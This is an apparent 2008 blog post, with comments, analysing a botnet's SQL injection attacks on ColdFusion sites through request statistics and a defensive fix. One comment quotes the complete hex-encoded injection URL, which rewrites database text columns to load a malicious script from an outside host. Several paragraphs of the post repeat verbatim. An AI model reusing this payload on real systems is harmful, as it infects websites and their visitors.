My analysis of the SQL injection zombies
Posted by
Brad Wood
Aug 10, 2008 08:46:00 UTC
So as the SQL injection attacks have rained down on my server for the past few days, my logs have been steadily filling up with data about the requests. Frankly, the data probably can't be trusted, it's all totally un-scientific, and doesn't really lead me any closer to the people responsible for the attacks. Regardless, I think it's pretty interesting. I've compiled some graphs and stats here.Like I said in the previous paragraph, this data probably can't be trusted. Just about anything can be spoofed from HTTP headers to IP addresses. The fact that these request are coming from computers compromised with a Trojan/bot/virus what-have-you, probably makes the data all the more suspect.
I have been logging date/time, URL, IP address, whether or not they returned a cookie I tried to set, and user agent info. Through some screen scraping of a web service provided by the American Registry for Internet Numbers I mapped most of the IP addresses to a Country. At best, I'll assume the country is a guess, but it's better than nothing.
As to the frequency of the attacks, here is a graph of the number per hour starting a days and a half ago when I began logging. Basically a steady decline from when it started, but with occasional peaks of activity.
All the attacks have been using the exact same string with two variations. One with a single tick before it and one without. The text which gets injected into your database includes a JavaScript file which tries to exploit a number of IE, Flash, and VB vulnerabilities. I guess the hackers figured they would try as many approaches as they could. I might blog the internals of all that stuff later. There are multiple layers of iframes including various things.
I'm not sure how the exploited machines on the bot net send their requests to my server, but they either use Internet Explorer on the machine to send the request, or they spoof a user agent to appear the request is coming from IE. I assume the user agent has something to do with the victim's computer. I've seen almost 400 unique user agents.
Almost all the requests claimed to be from Windows XP.
A small handful claimed to be Windows 2000.
63% of requests appeared to have SP2 installed for XP.
The most common user agent was:
67% of requests identified themselves as IE 6
2% of requests identified themselves as both
Average requests from each unique IP address: 2.6
Fewest requests from an IP address: 1
Most requests received from an IP address: 10
It was interesting to note that 7% of the zombies returned a cookie that I set. I would have expected all or none of them to follow this one. Perhaps there are several versions of the bot out there that behave differently. Also, since most bots didn't give me very many hits, it's possible they didn't return the cookie because they didn't hit my site again after the initial cookie-setting hit. I think is shown by the fact that an IP was far more likely to return a cookie if they hit my site 4 or more times. Hits always seemed to be in multiples of two. This is probably because there were two versions of the URL being used. Both versions were probably fired off at the same time. 75% Bots that sent more than 2 hits returned my cookie. As far as the origin of my traffic, Australia won, hands down. The US came in second. This is only as accurate as the data found at the American Registry for Internet Numbers. You can look up a single IP by visiting http://ws.arin.net/whois/?queryinput=162.40.169.138. I used the following code to snag them en masse:
Well, all this data doesn't tell me too much but I do find it all very interesting. I would love to get my hands on an infected machine. One thing I haven't been able to quite figure out is how the information about what servers to attack is sent out to the bot net. A number of the IPs that I tested appeared to be behind firewalls that blocked all the common ports at least. The only way for the computer to communicate with the coordinators of the attacks would be for it "call home" regularly to get instructions. If I had an infected machine to play around with, I would run a network sniffer on it and see who/what is was talking to. Probably just another proxy-- but it would be one step closer to the people behind all this.
The malicious JS file that this attack wants to include on your website attempts to download and run a handful of executable files. I'm curious if they are unrelated malware, or if they will put your computer on the very bot net carrying out the attacks. I may take a spare machine, do a fresh install, and purposely infect it. Thing is though, I don't want it on my network. I'll have to think about that to see if I can do it safely.
All the attacks have been using the exact same string with two variations. One with a single tick before it and one without. The text which gets injected into your database includes a JavaScript file which tries to exploit a number of IE, Flash, and VB vulnerabilities. I guess the hackers figured they would try as many approaches as they could. I might blog the internals of all that stuff later. There are multiple layers of iframes including various things.
I'm not sure how the exploited machines on the bot net send their requests to my server, but they either use Internet Explorer on the machine to send the request, or they spoof a user agent to appear the request is coming from IE. I assume the user agent has something to do with the victim's computer. I've seen almost 400 unique user agents.
Almost all the requests claimed to be from Windows XP.A small handful claimed to be Windows 2000.
63% of requests appeared to have SP2 installed for XP.
The most common user agent was:
[code]Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)[/code]31% of requests identified themselves as IE 7
67% of requests identified themselves as IE 6
2% of requests identified themselves as both
Average requests from each unique IP address: 2.6
Fewest requests from an IP address: 1
Most requests received from an IP address: 10
It was interesting to note that 7% of the zombies returned a cookie that I set. I would have expected all or none of them to follow this one. Perhaps there are several versions of the bot out there that behave differently. Also, since most bots didn't give me very many hits, it's possible they didn't return the cookie because they didn't hit my site again after the initial cookie-setting hit. I think is shown by the fact that an IP was far more likely to return a cookie if they hit my site 4 or more times. Hits always seemed to be in multiples of two. This is probably because there were two versions of the URL being used. Both versions were probably fired off at the same time. 75% Bots that sent more than 2 hits returned my cookie. As far as the origin of my traffic, Australia won, hands down. The US came in second. This is only as accurate as the data found at the American Registry for Internet Numbers. You can look up a single IP by visiting http://ws.arin.net/whois/?queryinput=162.40.169.138. I used the following code to snag them en masse:
[code]<cfhttp url="http://ws.arin.net/whois/?queryinput=#ip_address#"></cfhttp> <cfset country = rereplacenocase(cfhttp.filecontent,"(.*Country: )([A-Z]*)(.*)","\2","one")> #ip_address# - #country#[/code]Here is my break down by country:
Well, all this data doesn't tell me too much but I do find it all very interesting. I would love to get my hands on an infected machine. One thing I haven't been able to quite figure out is how the information about what servers to attack is sent out to the bot net. A number of the IPs that I tested appeared to be behind firewalls that blocked all the common ports at least. The only way for the computer to communicate with the coordinators of the attacks would be for it "call home" regularly to get instructions. If I had an infected machine to play around with, I would run a network sniffer on it and see who/what is was talking to. Probably just another proxy-- but it would be one step closer to the people behind all this.
The malicious JS file that this attack wants to include on your website attempts to download and run a handful of executable files. I'm curious if they are unrelated malware, or if they will put your computer on the very bot net carrying out the attacks. I may take a spare machine, do a fresh install, and purposely infect it. Thing is though, I don't want it on my network. I'll have to think about that to see if I can do it safely.
Paul
Hi Brad,
We had some serious problems with this particular SQL virus as well. From examining its payload, it could easily have been alot worse, with it simply concentrating on propogating the databases rather than say dropping every third table, or trying to open up the rest of the server via FTP. Some interesting stats on here about it though. I would just take a machine off the network and have a go at infecting that, I'd love to see what exactly the Javascript attempts to exploit on client visiting machines, as I haven't quite worked that bit out.
TJ Downes
Brad, thanks for the info . interesting analysis. Im guessing the zombies are just running through IP blocks scanning for .cfm on port 80. Pretty basic hack.
@Paul: it's not a SQL virus at all. It exposes vulnerabilities in CFM (and other scripts) that allow them to execute SQL code on the server. WHat it injects is nothing more than a series of javascript files which attempt to execute files on the client. In layman's terms it is a hack executed by a bot likley installed by a Trojan. To my knowledge it does not self-replicate during the attack, it's replicating in another manner.
Mark Cadle
Can you email me or post how they are executing this attack? Is it being placed as a comment in blogCFC or something else. Lately, I have been being hit with blog/index.cfm?DECLARE statements as well as lots of attacks on the rss.cfm template, however, I have yet to see anything about javascript files or such being placed in the database. I am very worried that I am missing something. Thank you for any information you can provide.
TJ Downes
I should know better than to post before Ive had my coffee. To clarify:
"It exposes vulnerabilities in CFM (and other scripts) that allow them to execute SQL code on the server".
This does not mean it is a vulnerability in ColdFusion or CFML. It is a vulnerability created by coding applications improperly.
@Mark: This is injected into databases when CFQUERYPARAM is not used in your SQL Statements in the CFML in your applications. I do not believe BlogCFC is susceptible to this attack, but you may want to review your code to be sure. For example, this code would be vulnerable:
SELECT * FROM myTable WHERE id = #id This is fixed by replacing #idwith a cfqueryparam
Mark Cadle
I too should know better to post before I google. The issue I was having was the sql injection attack and I even blogged about it!! Thanks to FAQU for providing the most current details. I was just worried I was missing something, but I always use cfqueryparam's so I was already prepared.
Thanks for responding!
Josen Ruiseco
FYI, Here is an exact copy of one example of the offending URL:
http://www.domain.com/template.cfm?urlVar=1;DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434 C415245204054207661726368617228323535292C40432076617263686172283430303029204 445434C415245205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6E616 D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F6C756D6E732062207768 65726520612E69643D622E696420616E6420612E78747970653D27752720616E642028622E78747970653D 3939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D 31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626 C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D3029 20424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D5B2 72B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F73646F2E 313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272077686572652 0272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687 474703A2F2F73646F2E313030306D672E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2 D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404 320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F43757 2736F72%20AS%20CHAR(4000));EXEC(@S);
A quick install of a script like antihack.cfm (url, form, and cookie analysis script) or something similar will stop the problem and buy you time to fix all of your inputs.
Josen
Brad Wood
@Josen: I added some line breaks into your script so it wouldn't screw with the formatting.
I agree, there are some handy scripts, but I feel they are best served as a stop gap IF
Of course, if you go with that method, I much prefer some of the URL re-writing tools that will stop the request before it reaches ColdFusion. The problem with any of those methods though is they are prone to false positives, and can give an unwarranted sense of security. They might stop the current attack, but how many month will go by before a new attack will be dreamed up that slips through?
I saw one filtering script that output text "You Suck!" if it sensed a SQLi attack. I sure hope they don't have any paying customers that accidentally trigger that one!!
Brian
I've noticed the botnet stop coming to my server almost entirely. I was reviving 1,000s of hits from it last week, now only a handful a day.
For anyone who is interested:
The attack had DDOS like effects on my web server on day one and two. Thankfully my code is (knock on wood) secure against this type of hack. I started filtering out SQL injection hacks at an IIS level, and it would seem things are working great. To comment on the false positive and offending customers, I have a suspect URL filter to my friendly 404 page as apposed to a "you suck" message, bots already know they suck.
Does anyone have an example of a site that was compromised?
matt
I would quess it is some type of worm. And you may be correct with these, that it is piloted cloud. But with installing it to isolated machine, you could also find, that whole communication process is ciphered, so you could easily lose few hours or days with single machine for nothing. Your cookie examine is very interesting, I guess it could become base stone of similar cloud bot analyses. By the way you perfectly described injection, for I read about it first time, I can be glad. Ax: I am convinced that if it is piloted, it is quantum - piloted.. the same ratio is used by hacker to command bots, as the ratio you naturally used to threat/analyse them. That's why cloud worm :) g.d.